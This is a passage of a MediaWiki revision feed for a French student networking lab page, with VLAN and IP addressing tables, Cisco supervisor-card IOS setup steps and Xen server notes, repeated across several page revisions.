|Groupe 5&lt;br /&gt;
|Alexandre&lt;br /&gt;
|Vlan7&lt;br /&gt;
|193.48.57.168/24&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 6&lt;br /&gt;
|Thomas&lt;br /&gt;
|Vlan8&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 7&lt;br /&gt;
|Léna&lt;br /&gt;
|Vlan10&lt;br /&gt;
|10.60.7.0/24&lt;br /&gt;
|2001:660:4401:60aa::0/64&lt;br /&gt;
|10.60.7.1&lt;br /&gt;
|10.60.7.2&lt;br /&gt;
|10.60.7.3&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 8&lt;br /&gt;
|Nathan&lt;br /&gt;
|Vlan11&lt;br /&gt;
|X&lt;br /&gt;
|2001:660:4401:60a2::4/64&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 9&lt;br /&gt;
|Crispin&lt;br /&gt;
|Vlan12&lt;br /&gt;
|10.60.9.0/24&lt;br /&gt;
|2001:660:4401:60a4::0/64&lt;br /&gt;
|10.60.9.1&lt;br /&gt;
|10.60.9.2&lt;br /&gt;
|10.60.9.3&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Interconnexion&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|Router1 : X  // Router2 : X // Ecole : X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Cartes de supervision ===&lt;br /&gt;
&lt;br /&gt;
Problématique: Configuration et installation des OS des cartes de supervision&lt;br /&gt;
&lt;br /&gt;
Etape 1: Vérifier l'existence d'OS sur les deux cartes. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes. &lt;br /&gt;
 -&amp;gt; 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)&lt;br /&gt;
 -&amp;gt; 2ème carte: OS absent &lt;br /&gt;
&lt;br /&gt;
Etape 2: Copie du fichier d'OS&lt;br /&gt;
&lt;br /&gt;
[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]&lt;br /&gt;
&lt;br /&gt;
Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.&lt;br /&gt;
&lt;br /&gt;
copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&amp;amp;éé-33.SXI6.bin disk0:&lt;br /&gt;
&lt;br /&gt;
Etape 3: Reboot de la deuxième carte&lt;br /&gt;
&lt;br /&gt;
Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur. &lt;br /&gt;
&lt;br /&gt;
boot&lt;br /&gt;
sh ver &lt;br /&gt;
&lt;br /&gt;
Etape 4: Vérification de la redondance&lt;br /&gt;
&lt;br /&gt;
La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active&lt;br /&gt;
&lt;br /&gt;
== Configuration machine Xen sur Capbreton ==&lt;br /&gt;
&lt;br /&gt;
- Connexion de l'écran, clavier, souris sur le serveur &lt;br /&gt;
- Commande &amp;quot;lbslk&amp;quot; permettant de voir les partitions sur la machine&lt;br /&gt;
    Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.&lt;br /&gt;
    Il y a 1 disque SDA avec 800go de libre.&lt;br /&gt;
    Deux disques plus lent sont utilisé pour LVM.&lt;br /&gt;
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.&lt;br /&gt;
    Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer&lt;br /&gt;
&lt;br /&gt;
Concernant le brigde, nous avons vu dans /etc/network/interfaces &amp;quot;brigde_ports eth1 eth7&amp;quot;. Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:&lt;br /&gt;
    ethtool -p eth7&lt;br /&gt;
    ethtool -p eth1&lt;br /&gt;
&lt;br /&gt;
On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54761</id>
		<title>TP sysres IMA2a5 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54761"/>
				<updated>2020-12-15T22:48:18Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* IP des VMs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.&lt;br /&gt;
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]&lt;br /&gt;
&lt;br /&gt;
== Objectif du projet ==&lt;br /&gt;
&lt;br /&gt;
La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle. &lt;br /&gt;
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.&lt;br /&gt;
&lt;br /&gt;
D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]&lt;br /&gt;
| SAWICZ Lionel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]&lt;br /&gt;
| HERBOMEL Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]&lt;br /&gt;
| CRAMETTE Samuel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]&lt;br /&gt;
| AVEZ Thibaut&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]&lt;br /&gt;
| GLAINE Alexandre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]&lt;br /&gt;
| VITTECOQ Thomas&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]&lt;br /&gt;
| CHENU Léna &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]&lt;br /&gt;
| COULON Nathan&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]&lt;br /&gt;
| DJAMBA Crispin&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Description des connexions ==&lt;br /&gt;
Pour ce TP nous avons à notre disposition :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Désignation !! Référence !! Autre !! Connexion&lt;br /&gt;
|-&lt;br /&gt;
|Routeur&lt;br /&gt;
|6509&lt;br /&gt;
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga&lt;br /&gt;
|Connecté au réseau de Polytech pour accéder à internet via RENATER&lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|3560 E&lt;br /&gt;
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur&lt;br /&gt;
|Connecté au réseau de Polytech via la prise SR52-3/K16 &lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|ISR 4331&lt;br /&gt;
|Utilisé comme portail dérobé en cas de défaillance du 3560E&lt;br /&gt;
|Connecté au SDSL connecter via la prise SR52-3/L04,&lt;br /&gt;
|-&lt;br /&gt;
|Serveur de virtualisation&lt;br /&gt;
|R540&lt;br /&gt;
|Abrite les machines virtuelles&lt;br /&gt;
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.&lt;br /&gt;
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.&lt;br /&gt;
&lt;br /&gt;
== Architecture matérielle ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E &amp;amp; ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous : &lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Optimale ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Réelle ===&lt;br /&gt;
&lt;br /&gt;
Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture Réseau ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
== Table d'adressage IP ==&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan1 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.0&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan2 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP  !! nom VM&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|routeur virtuel&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Lionel&lt;br /&gt;
|193.48.57.164&lt;br /&gt;
|Rafale&lt;br /&gt;
|-&lt;br /&gt;
|Guillaume&lt;br /&gt;
|193.48.57.165&lt;br /&gt;
|Concorde&lt;br /&gt;
|-&lt;br /&gt;
|Samuel&lt;br /&gt;
|193.48.57.166&lt;br /&gt;
|Blackbird&lt;br /&gt;
|-&lt;br /&gt;
|Thibaut&lt;br /&gt;
|193.48.57.167&lt;br /&gt;
|Falcon&lt;br /&gt;
|-&lt;br /&gt;
|Alexandre&lt;br /&gt;
|193.48.57.168&lt;br /&gt;
|Mirage&lt;br /&gt;
|-&lt;br /&gt;
|Thomas&lt;br /&gt;
|193.48.57.169&lt;br /&gt;
|Alpha_jet&lt;br /&gt;
|-&lt;br /&gt;
|Crispin&lt;br /&gt;
|193.48.57.170&lt;br /&gt;
|NightHawk&lt;br /&gt;
|-&lt;br /&gt;
|Léna&lt;br /&gt;
|193.48.57.171&lt;br /&gt;
|hawker&lt;br /&gt;
|-&lt;br /&gt;
|Nathan&lt;br /&gt;
|193.48.57.172&lt;br /&gt;
|Boeing&lt;br /&gt;
|-&lt;br /&gt;
|ISR&lt;br /&gt;
|193.48.57.173/28&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.240&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan130 ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|192.168.222.2&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|192.168.222.1&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.248&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table des vlan ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom !! Vlan &lt;br /&gt;
|-&lt;br /&gt;
|Lionel&lt;br /&gt;
|Vlan3&lt;br /&gt;
|-&lt;br /&gt;
|Guillaume&lt;br /&gt;
|Vlan4&lt;br /&gt;
|-&lt;br /&gt;
|Samuel&lt;br /&gt;
|Vlan5&lt;br /&gt;
|-&lt;br /&gt;
|Thibaut&lt;br /&gt;
|Vlan6&lt;br /&gt;
|-&lt;br /&gt;
|Alexandre&lt;br /&gt;
|Vlan7&lt;br /&gt;
|-&lt;br /&gt;
|Thomas&lt;br /&gt;
|Vlan8&lt;br /&gt;
|-&lt;br /&gt;
|Crispin&lt;br /&gt;
|Vlan9&lt;br /&gt;
|-&lt;br /&gt;
|Léna&lt;br /&gt;
|Vlan10&lt;br /&gt;
|-&lt;br /&gt;
|Nathan&lt;br /&gt;
|Vlan11&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table générale ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Administration&lt;br /&gt;
|Vlan1&lt;br /&gt;
|10.60.0.0/24&lt;br /&gt;
|&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Xen&lt;br /&gt;
|Vlan2&lt;br /&gt;
|193.48.57.160/28&lt;br /&gt;
|2001:660:4401:60a2::0/64&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 1 &lt;br /&gt;
|Lionel&lt;br /&gt;
|Vlan3&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 2&lt;br /&gt;
|Guillaume&lt;br /&gt;
|Vlan4&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 3&lt;br /&gt;
|Samuel&lt;br /&gt;
|Vlan5&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 4 &lt;br /&gt;
|Thibaut&lt;br /&gt;
|Vlan6&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 5&lt;br /&gt;
|Alexandre&lt;br /&gt;
|Vlan7&lt;br /&gt;
|193.48.57.168/24&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 6&lt;br /&gt;
|Thomas&lt;br /&gt;
|Vlan8&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 7&lt;br /&gt;
|Léna&lt;br /&gt;
|Vlan10&lt;br /&gt;
|10.60.7.0/24&lt;br /&gt;
|2001:660:4401:60aa::0/64&lt;br /&gt;
|10.60.7.1&lt;br /&gt;
|10.60.7.2&lt;br /&gt;
|10.60.7.3&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 8&lt;br /&gt;
|Nathan&lt;br /&gt;
|Vlan11&lt;br /&gt;
|X&lt;br /&gt;
|2001:660:4401:60a2::4/64&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 9&lt;br /&gt;
|Crispin&lt;br /&gt;
|Vlan12&lt;br /&gt;
|10.60.9.0/24&lt;br /&gt;
|2001:660:4401:60a4::0/64&lt;br /&gt;
|10.60.9.1&lt;br /&gt;
|10.60.9.2&lt;br /&gt;
|10.60.9.3&lt;br /&gt;
|-&lt;br /&gt;
|x&lt;br /&gt;
|Interconnexion&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|Router1 : X  // Router2 : X // Ecole : X&lt;br /&gt;
|X&lt;br /&gt;
|X&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Cartes de supervision ===&lt;br /&gt;
&lt;br /&gt;
Problématique: Configuration et installation des OS des cartes de supervision&lt;br /&gt;
&lt;br /&gt;
Etape 1: Vérifier l'existence d'OS sur les deux cartes. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes. &lt;br /&gt;
 -&amp;gt; 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)&lt;br /&gt;
 -&amp;gt; 2ème carte: OS absent &lt;br /&gt;
&lt;br /&gt;
Etape 2: Copie du fichier d'OS&lt;br /&gt;
&lt;br /&gt;
[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]&lt;br /&gt;
&lt;br /&gt;
Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.&lt;br /&gt;
&lt;br /&gt;
copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&amp;amp;éé-33.SXI6.bin disk0:&lt;br /&gt;
&lt;br /&gt;
Etape 3: Reboot de la deuxième carte&lt;br /&gt;
&lt;br /&gt;
Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur. &lt;br /&gt;
&lt;br /&gt;
boot&lt;br /&gt;
sh ver &lt;br /&gt;
&lt;br /&gt;
Etape 4: Vérification de la redondance&lt;br /&gt;
&lt;br /&gt;
La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active&lt;br /&gt;
&lt;br /&gt;
== Configuration machine Xen sur Capbreton ==&lt;br /&gt;
&lt;br /&gt;
- Connexion de l'écran, clavier, souris sur le serveur &lt;br /&gt;
- Commande &amp;quot;lbslk&amp;quot; permettant de voir les partitions sur la machine&lt;br /&gt;
    Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.&lt;br /&gt;
    Il y a 1 disque SDA avec 800go de libre.&lt;br /&gt;
    Deux disques plus lent sont utilisé pour LVM.&lt;br /&gt;
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.&lt;br /&gt;
    Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer&lt;br /&gt;
&lt;br /&gt;
Concernant le brigde, nous avons vu dans /etc/network/interfaces &amp;quot;brigde_ports eth1 eth7&amp;quot;. Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:&lt;br /&gt;
    ethtool -p eth7&lt;br /&gt;
    ethtool -p eth1&lt;br /&gt;
&lt;br /&gt;
On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54760</id>
		<title>TP sysres IMA2a5 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&amp;diff=54760"/>
				<updated>2020-12-15T22:47:57Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Table générale */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.&lt;br /&gt;
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]&lt;br /&gt;
&lt;br /&gt;
== Objectif du projet ==&lt;br /&gt;
&lt;br /&gt;
La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle. &lt;br /&gt;
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.&lt;br /&gt;
&lt;br /&gt;
D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]&lt;br /&gt;
| SAWICZ Lionel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]&lt;br /&gt;
| HERBOMEL Guillaume&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]&lt;br /&gt;
| CRAMETTE Samuel&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]&lt;br /&gt;
| AVEZ Thibaut&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]&lt;br /&gt;
| GLAINE Alexandre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]&lt;br /&gt;
| VITTECOQ Thomas&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]&lt;br /&gt;
| CHENU Léna &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]&lt;br /&gt;
| COULON Nathan&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]&lt;br /&gt;
| DJAMBA Crispin&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Description des connexions ==&lt;br /&gt;
Pour ce TP nous avons à notre disposition :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Désignation !! Référence !! Autre !! Connexion&lt;br /&gt;
|-&lt;br /&gt;
|Routeur&lt;br /&gt;
|6509&lt;br /&gt;
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga&lt;br /&gt;
|Connecté au réseau de Polytech pour accéder à internet via RENATER&lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|3560 E&lt;br /&gt;
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur&lt;br /&gt;
|Connecté au réseau de Polytech via la prise SR52-3/K16 &lt;br /&gt;
|-&lt;br /&gt;
|Commutateur Cisco&lt;br /&gt;
|ISR 4331&lt;br /&gt;
|Utilisé comme portail dérobé en cas de défaillance du 3560E&lt;br /&gt;
|Connecté au SDSL connecter via la prise SR52-3/L04,&lt;br /&gt;
|-&lt;br /&gt;
|Serveur de virtualisation&lt;br /&gt;
|R540&lt;br /&gt;
|Abrite les machines virtuelles&lt;br /&gt;
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.&lt;br /&gt;
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.&lt;br /&gt;
&lt;br /&gt;
== Architecture matérielle ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E &amp;amp; ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous : &lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Optimale ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture matérielle Réelle ===&lt;br /&gt;
&lt;br /&gt;
Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== Architecture Réseau ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]&lt;br /&gt;
&lt;br /&gt;
== Table d'adressage IP ==&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan1 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|10.60.0.1&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|10.60.0.2&lt;br /&gt;
|-&lt;br /&gt;
|Mask&lt;br /&gt;
|255.255.255.0&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Table du vlan2 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Nom de l'appareil !! IP  !! nom VM&lt;br /&gt;
|-&lt;br /&gt;
|6509&lt;br /&gt;
|193.48.57.161&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|3560 E&lt;br /&gt;
|193.48.57.162&lt;br /&gt;
|X&lt;br /&gt;
|-&lt;br /&gt;
|routeur virtuel&lt;br /&gt;
|193.48.57.163&lt;br /&gt;
|X&lt;br /&gt;
